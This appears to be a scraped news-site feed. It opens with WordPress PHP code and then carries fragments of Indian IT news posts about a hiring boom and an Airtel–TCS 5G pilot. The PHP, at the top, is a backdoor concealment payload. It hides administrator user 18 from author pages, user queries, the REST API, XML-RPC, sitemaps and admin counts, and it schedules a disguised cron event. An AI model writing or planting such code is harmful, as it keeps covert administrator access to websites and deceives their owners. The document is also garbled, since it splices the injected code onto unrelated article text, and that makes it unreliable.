add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post It’s raining jobs in Indian IT appeared first on The Edge Media.
]]>They are being wooed with joining bonuses. Fintech firm BharatPe is offering BMW bikes to new joinees. There are others offering iPhones and flexi-working. Some companies are even paying Rs 1,000 to Rs 5,000 each to candidates to take their assessment tests, irrespective of whether the candidates eventually join these firms.
Recruitment firms are minting money. But they are also at their wits end. They are working overtime, and candidate negotiations have become a nightmare. By the time they make an offer, the candidate has received another better one. And then they have to go back to their client to see if they could up their offer.
Saravanan Balasundaram, founder and CEO of talent consultancy firm Han Digital, said they schedule more than 1,000 interviews a week, but in 40% of these cases, either the candidate does not show up, or internet connectivity issues result in the interview being cancelled or postponed. “Of the 600 interviews that happen, only about 75 join,” he said.
Siva Prasad Nanduri, VP and business head at IT staffing firm TeamLease Digital, said the talent demand from IT firms was 5,000 in the quarter ended April, but this jumped to 20,000 in the quarter ended June.
TCS, Infosys, HCL and Wipro together expect to hire 1 lakh people this fiscal year. Cognizant alone plans to hire 1 lakh experienced professionals and onboard 30,000 freshers this year, as also make 45,000 offers to campus recruits who would join the company next year. Global demand for digitisation, following the experiences of the pandemic, has resulted in a sharp pickup in business for IT firms.
The post It’s raining jobs in Indian IT appeared first on The Edge Media.
]]>The post Airtel and TCS to collaborate for implementing 5G network appeared first on The Edge Media.
]]>Tata Group has developed a ‘state-of-the-art’ O-RAN (Open Radio Access Network) based Radio and NSA/SA Core and has integrated a totally indigenous telecom stack, leveraging the Group capabilities and that of its partners. This will be available for commercial development starting January 2022.
As per the partnership, Airtel will pilot this indigenous solution during its 5G rollout. The pilot will begin in January 2022 as per Government of India guidelines.
The post Airtel and TCS to collaborate for implementing 5G network appeared first on The Edge Media.
]]>